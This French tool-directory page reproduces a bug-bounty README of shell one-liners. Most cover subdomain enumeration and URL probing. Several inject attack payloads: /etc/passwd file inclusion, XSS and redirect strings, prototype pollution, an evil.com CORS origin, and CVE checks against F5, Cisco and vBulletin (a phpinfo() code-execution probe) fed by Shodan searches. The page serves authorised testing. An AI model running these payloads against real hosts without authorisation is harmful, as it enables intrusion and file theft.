Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
awesome-oneliner-bugbounty — Une collection de scripts one-liner géniaux spécialement pour les astuces de bug bounty. | Kitploit
Outils/GitHubGitHub/dwisiswant0/awesome-oneliner-bugbounty
ReconnaissanceScanners de VulnérabilitésScripting et AutomatisationCollecte d'InformationsSécurité WebTests d'IntrusionÉnumération de Sous-domainesApprentissage et ÉducationRessources Organisées

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHubdwisiswant0/awesome-oneliner-bugbounty

awesome-oneliner-bugbounty

Une collection de scripts one-liner géniaux spécialement pour les astuces de bug bounty.

Voir le dépôt
3.2k631il y a 2 ansVérifié par Kitploit
Partager

Awesome One-liner Bug Bounty Awesome

Une collection d'incroyables scripts one-liner spécialement pour le bug bounty.

Ce dépôt stocke et héberge divers one-liner pour les astuces de bug bounty fournis par moi ainsi que par la communauté. Vos contributions et suggestions sont chaleureusement♥ les bienvenues.

Définitions

Cette section définit des termes spécifiques ou des espaces réservés utilisés dans les commandes/scripts one-liner.

  • 1.1. "HOST" définit un nom d'hôte, un (sous)domaine ou une adresse IP, par ex. remplacé par internal.host, domain.tld, sub.domain.tld, ou 127.0.0.1.
  • 1.2. "HOSTS.txt" contient le critère 1.1 avec plus d'un dans le fichier.
  • 2.1. "URL" définit définitivement l'URL, par ex. remplacé par http://domain.tld/path/page.html ou quelque chose commençant par le protocole HTTP/HTTPS.
  • 2.2. "URLS.txt" contient le critère 2.1 avec plus d'un dans le fichier.
  • 3.1. "FILE.txt" ou "FILE{N}.txt" signifie les fichiers nécessaires pour exécuter la commande/script selon son contexte et besoins.
  • 4.1. "OUT.txt" ou "OUT{N}.txt" signifie le fichier comme résultat de stockage cible sera la commande exécutée.

  • Inclusion de fichier local

    @dwisiswant0

    root@kitploit:~
    gau HOST | gf lfi | qsreplace "/etc/passwd" | xargs -I% -P 25 sh -c 'curl -s "%" 2>&1 | grep -q "root:x" && echo "VULN! %"'
    

    Redirection ouverte

    @dwisiswant0

    root@kitploit:~
    export LHOST="URL"; gau $1 | gf redirect | qsreplace "$LHOST" | xargs -I % -P 25 sh -c 'curl -Is "%" 2>&1 | grep -q "Location: $LHOST" && echo "VULN! %"'
    

    @N3T_hunt3r

    root@kitploit:~
    cat URLS.txt | gf url | tee url-redirect.txt && cat url-redirect.txt | parallel -j 10 curl --proxy http://127.0.0.1:8080 -sk > /dev/null
    

    XSS

    @cihanmehmet

    root@kitploit:~
    gospider -S URLS.txt -c 10 -d 5 --blacklist ".(jpg|jpeg|gif|css|tif|tiff|png|ttf|woff|woff2|ico|pdf|svg|txt)" --other-source | grep -e "code-200" | awk '{print $5}'| grep "=" | qsreplace -a | dalfox pipe | tee OUT.txt
    

    @fanimalikhack

    root@kitploit:~
    waybackurls HOST | gf xss | sed 's/=.*/=/' | sort -u | tee FILE.txt && cat FILE.txt | dalfox -b YOURS.xss.ht pipe > OUT.txt
    

    @oliverrickfors

    root@kitploit:~
    cat HOSTS.txt | getJS | httpx --match-regex "addEventListener\((?:'|\")message(?:'|\")"
    

    Pollution du prototype

    @R0X4R

    root@kitploit:~
    subfinder -d HOST -all -silent | httpx -silent -threads 300 | anew -q FILE.txt && sed 's/$/\/?__proto__[testparam]=exploit\//' FILE.txt | page-fetch -j 'window.testparam == "exploit"? "[VULNERABLE]" : "[NOT VULNERABLE]"' | sed "s/(//g" | sed "s/)//g" | sed "s/JS //g" | grep "VULNERABLE"
    

    CVE-2020-5902

    @Madrobot_

    root@kitploit:~
    shodan search http.favicon.hash:-335242539 "3992" --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl --silent --path-as-is --insecure "https://$host/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd" | grep -q root && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done
    

    CVE-2020-3452

    @vict0ni

    root@kitploit:~
    while read LINE; do curl -s -k "https://$LINE/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../" | head | grep -q "Cisco" && echo -e "[${GREEN}VULNERABLE${NC}] $LINE" || echo -e "[${RED}NOT VULNERABLE${NC}] $LINE"; done < HOSTS.txt
    

    CVE-2022-0378

    @7h3h4ckv157

    root@kitploit:~
    cat URLS.txt | while read h do; do curl -sk "$h/module/?module=admin%2Fmodules%2Fmanage&id=test%22+onmousemove%3dalert(1)+xx=%22test&from_url=x"|grep -qs "onmouse" && echo "$h: VULNERABLE"; done
    

    vBulletin 5.6.2 - 'widget_tabbedContainer_tab_panel' Exécution de code à distance

    @Madrobot_

    root@kitploit:~
    shodan search http.favicon.hash:-601665621 --fields ip_str,port --separator " " | awk '{print $1":"$2}' | while read host do ;do curl -s http://$host/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();' | grep -q phpinfo && \printf "$host \033[0;31mVulnerable\n" || printf "$host \033[0;32mNot Vulnerable\n";done;
    

    Trouver les fichiers JavaScript

    @D0cK3rG33k

    root@kitploit:~
    assetfinder --subs-only HOST | gau | egrep -v '(.css|.png|.jpeg|.jpg|.svg|.gif|.wolf)' | while read url; do vars=$(curl -s $url | grep -Eo "var [a-zA-Zo-9_]+" | sed -e 's, 'var','"$url"?',g' -e 's/ //g' | grep -v '.js' | sed 's/.*/&=xss/g'):echo -e "\e[1;33m$url\n" "\e[1;32m$vars"; done
    

    Extraire les points d'entrée depuis JavaScript

    @renniepak

    root@kitploit:~
    cat FILE.js | grep -oh "\"\/[a-zA-Z0-9_/?=&]*\"" | sed -e 's/^"//' -e 's/"$//' | sort -u
    

    Obtenir les CIDR et informations d'organisation à partir de listes de cibles

    @steve_mcilwain

    root@kitploit:~
    for HOST in $(cat HOSTS.txt);do echo $(for ip in $(dig a $HOST +short); do whois $ip | grep -e "CIDR\|Organization" | tr -s " " | paste - -; d
    one | uniq); done
    

    Obtenir les sous-domaines depuis RapidDNS.io

    @andirrahmani1

    root@kitploit:~
    export host="HOST" ; curl -s "https://rapiddns.io/subdomain/$host?full=1#result" | grep -e "<td>.*$host</td>" | grep -oP '(?<=<td>)[^<]+' | sort -u
    

    Obtenir les sous-domaines depuis BufferOver.run

    @_ayoubfathi_

    root@kitploit:~
    curl -s https://dns.bufferover.run/dns?q=.HOST.com | jq -r .FDNS_A[] | cut -d',' -f2 | sort -u
    

    @AnubhavSingh_

    root@kitploit:~
    export domain="HOST"; curl "https://tls.bufferover.run/dns?q=$domain" | jq -r .Results'[]' | rev | cut -d ',' -f1 | rev | sort -u | grep "\.$domain"
    

    Obtenir les sous-domaines depuis Riddler.io

    @pikpikcu

    root@kitploit:~
    curl -s "https://riddler.io/search/exportcsv?q=pld:HOST" | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u 
    

    Obtenir les sous-domaines depuis VirusTotal

    @pikpikcu

    root@kitploit:~
    curl -s "https://www.virustotal.com/ui/domains/HOST/subdomains?limit=40" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u
    

    Obtenir les sous-domaines avec cyberxplore

    @pikpikcu

    root@kitploit:~
    curl https://subbuster.cyberxplore.com/api/find?domain=HOST -s | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" 
    

    Obtenir les sous-domaines depuis CertSpotter

    @caryhooper

    root@kitploit:~
    curl -s "https://certspotter.com/api/v1/issuances?domain=HOST&include_subdomains=true&expand=dns_names" | jq .[].dns_names | grep -Po "(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u 
    

    Obtenir les sous-domaines depuis Archive

    @pikpikcu

    root@kitploit:~
    curl -s "http://web.archive.org/cdx/search/cdx?url=*.HOST/*&output=text&fl=original&collapse=urlkey" | sed -e 's_https*://__' -e "s/\/.*//" | sort -u
    

    Obtenir les sous-domaines depuis JLDC

    @pikpikcu

    root@kitploit:~
    curl -s "https://jldc.me/anubis/subdomains/HOST" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | sort -u
    

    Obtenir les sous-domaines depuis securitytrails

    @pikpikcu

    root@kitploit:~
    curl -s "https://securitytrails.com/list/apex_domain/HOST" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | grep ".HOST" | sort -u
    

    Bruteforce de sous-domaines avec DNS Over

    @pikpikcu

    root@kitploit:~
    while read sub; do echo "https://dns.google.com/resolve?name=$sub.HOST&type=A&cd=true" | parallel -j100 -q curl -s -L --silent  | grep -Po '[{\[]{1}([,:{}\[\]0-9.\-+Eaeflnr-u \n\r\t]|".*?")+[}\]]{1}' | jq | grep "name" | grep -Po "((http|https):\/\/)?(([\w.-]*)\.([\w]*)\.([A-z]))\w+" | grep ".HOST" | sort -u ; done < FILE.txt
    

    Obtenir les sous-domaines avec sonar.omnisint.io

    @pikpikcu

    root@kitploit:~
    curl --silent https://sonar.omnisint.io/subdomains/HOST | grep -oE "[a-zA-Z0-9._-]+\.HOST" | sort -u 
    

    Obtenir les sous-domaines avec synapsint.com

    @pikpikcu

    root@kitploit:~
    curl --silent -X POST https://synapsint.com/report.php -d "name=https%3A%2F%2FHOST" | grep -oE "[a-zA-Z0-9._-]+\.HOST" | sort -u 
    

    Obtenir les sous-domaines depuis crt.sh

    @vict0ni

    root@kitploit:~
    curl -s "https://crt.sh/?q=%25.HOST&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u
    

    Trier et tester les domaines depuis Recon.dev

    @stokfedrik

    root@kitploit:~
    curl "https://recon.dev/api/search?key=apikey&domain=HOST" |jq -r '.[].rawDomains[]' | sed 's/ //g' | sort -u | httpx -silent
    

    Bruteforce de sous-domaines avec FFUF

    @GochaOqradze

    root@kitploit:~
    ffuf -u https://FUZZ.HOST -w FILE.txt -v | grep "| URL |" | awk '{print $4}'
    

    Trouver les plages IP allouées pour ASN à partir d'une adresse IP

    wains.be

    root@kitploit:~
    whois -h whois.radb.net -i origin -T route $(whois -h whois.radb.net IP | grep origin: | awk '{print $NF}' | head -1) | grep -w "route:" | awk '{print $NF}' | sort -n
    

    Extraire les IPs d'un fichier

    @emenalf

    root@kitploit:~
    grep -E -o '(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)\.(25[0-5]|2[0-4][0-9]|[01]?[0-9][0-9]?)' file.txt
    

    Scan de ports sans CloudFlare

    @dwisiswant0

    root@kitploit:~
    subfinder -silent -d HOST | filter-resolved | cf-check | sort -u | naabu -rate 40000 -silent -verify | httprobe
    

    Créer des listes de mots personnalisées

    @tomnomnom

    root@kitploit:~
    gau HOST | unfurl -u keys | tee -a FILE1.txt; gau HOST | unfurl -u paths | tee -a FILE2.txt; sed 's#/#\n#g' FILE2.txt | sort -u | tee -a FILE1.txt | sort -u; rm FILE2.txt  | sed -i -e 's/\.css\|\.png\|\.jpeg\|\.jpg\|\.svg\|\.gif\|\.wolf\|\.bmp//g' FILE1.txt
    
    root@kitploit:~
    cat HOSTS.txt | httprobe | xargs curl | tok | tr '[:upper:]' '[:lower:]' | sort -u | tee -a FILE.txt  
    

    Extraire les informations juteuses

    @Prial Islam Khan

    root@kitploit:~
    for sub in $(cat HOSTS.txt); do gron "https://otx.alienvault.com/otxapi/indicator/hostname/url_list/$sub?limit=100&page=1" | grep "\burl\b" | gron --ungron | jq | egrep -wi 'url' | awk '{print $2}' | sed 's/"//g'| sort -u | tee -a OUT.txt  ;done
    

    Trouver les sous-domaines sujets à reprise

    @hahwul

    root@kitploit:~
    subfinder -d HOST >> FILE; assetfinder --subs-only HOST >> FILE; amass enum -norecursive -noalts -d HOST >> FILE; subjack -w FILE -t 100 -timeout 30 -ssl -c $GOPATH/src/github.com/haccer/subjack/fingerprints.json -v 3 >> takeover ; 
    

    Dumper les URLs personnalisées depuis ParamSpider

    @hahwul

    root@kitploit:~
    cat HOSTS.txt | xargs -I % python3 paramspider.py -l high -o ./OUT/% -d %;
    

    Probing d'URLs avec cURL + Parallel

    @akita_zen

    root@kitploit:~
    cat HOSTS.txt | parallel -j50 -q curl -w 'Status:%{http_code}\t  Size:%{size_download}\t %{url_effective}\n' -o /dev/null -sk
    

    Dumper les actifs dans le scope depuis chaos-bugbounty-list

    @dwisiswant0

    root@kitploit:~
    curl -sL https://github.com/projectdiscovery/public-bugbounty-programs/raw/master/chaos-bugbounty-list.json | jq -r '.programs[].domains | to_entries | .[].value'
    

    Dumper les actifs dans le scope depuis bounty-targets-data

    @dwisiswant0

    Programmes HackerOne

    root@kitploit:~
    curl -sL https://github.com/arkadiyt/bounty-targets-data/blob/master/data/hackerone_data.json?raw=true | jq -r '.[].targets.in_scope[] | [.asset_identifier, .asset_type] | @tsv'
    

    Programmes BugCrowd

    root@kitploit:~
    curl -sL https://github.com/arkadiyt/bounty-targets-data/raw/master/data/bugcrowd_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv'
    

    Programmes Intigriti

    root@kitploit:~
    curl -sL https://github.com/arkadiyt/bounty-targets-data/raw/master/data/intigriti_data.json | jq -r '.[].targets.in_scope[] | [.endpoint, .type] | @tsv'
    

    Programmes YesWeHack

    root@kitploit:~
    curl -sL https://github.com/arkadiyt/bounty-targets-data/raw/master/data/yeswehack_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv'
    

    Programmes HackenProof

    root@kitploit:~
    curl -sL https://github.com/arkadiyt/bounty-targets-data/raw/master/data/hackenproof_data.json | jq -r '.[].targets.in_scope[] | [.target, .type, .instruction] | @tsv'
    

    Programmes Federacy

    root@kitploit:~
    curl -sL https://github.com/arkadiyt/bounty-targets-data/raw/master/data/federacy_data.json | jq -r '.[].targets.in_scope[] | [.target, .type] | @tsv'
    

    Dumper les URLs depuis sitemap.xml

    @healthyoutlet

    root@kitploit:~
    curl -s http://HOST/sitemap.xml | xmllint --format - | grep -e 'loc' | sed -r 's|</?loc>||g'
    

    Pure Bash Linkfinder

    @ntrzz

    root@kitploit:~
    curl -s $1 | grep -Eo "(http|https)://[a-zA-Z0-9./?=_-]*" | sort | uniq | grep ".js" > FILE.txt; while IFS= read link; do python linkfinder.py -i "$link" -o cli; done < FILE.txt | grep $2 | grep -v $3 | sort -n | uniq; rm -rf FILE.txt
    

    Extraire les points d'entrée depuis swagger.json

    @zer0pwn

    root@kitploit:~
    curl -s https://HOST/v2/swagger.json | jq '.paths | keys[]'
    

    Mauvaise configuration CORS

    @manas_hunter

    root@kitploit:~
    site="URL"; gau "$site" | while read url; do target=$(curl -sIH "Origin: https://evil.com" -X GET $url) | if grep 'https://evil.com'; then [Potentional CORS Found] echo $url; else echo Nothing on "$url"; fi; done
    

    Trouver des serveurs cachés et/ou des panneaux d'administration

    @rez0__

    root@kitploit:~
    ffuf -c -u URL -H "Host: FUZZ" -w FILE.txt 
    

    Reconnaissance avec api.recon.dev

    @z0idsec

    root@kitploit:~
    curl -s -w "\n%{http_code}" https://api.recon.dev/search?domain=HOST | jg .[].domain
    

    Trouver les hôtes/domaines/actifs en vie

    @YashGoti

    root@kitploit:~
    subfinder -d HOST -silent | httpx -silent -follow-redirects -mc 200 | cut -d '/' -f3 | sort -u
    

    XSS sans gf

    @HacktifyS

    root@kitploit:~
    waybackurls HOST | grep '=' | qsreplace '"><script>alert(1)</script>' | while read host do ; do curl -sk --path-as-is "$host" | grep -qs "<script>alert(1)</script>" && echo "$host is vulnerable"; done
    

    Obtenir les sous-domaines depuis des IPs

    @laughface809

    root@kitploit:~
    python3 hosthunter.py HOSTS.txt > OUT.txt
    

    Rassembler les domaines depuis Content-Security-Policy

    @geeknik

    root@kitploit:~
    curl -vs URL --stderr - | awk '/^content-security-policy:/' | grep -Eo "[a-zA-Z0-9./?=_-]*" |  sed -e '/\./!d' -e '/[^A-Za-z0-9._-]/d' -e 's/^\.//' | sort -u
    

    Analyse Nmap IP:PORT redirigée vers HTTPX

    @dwisiswant0

    root@kitploit:~
    nmap -v0 HOST -oX /dev/stdout | jc --xml -p | jq -r '.nmaprun.host | (.address["@addr"] + ":" + .ports.port[]["@portid"])' | httpx --silent
    
    Télécharger l’outil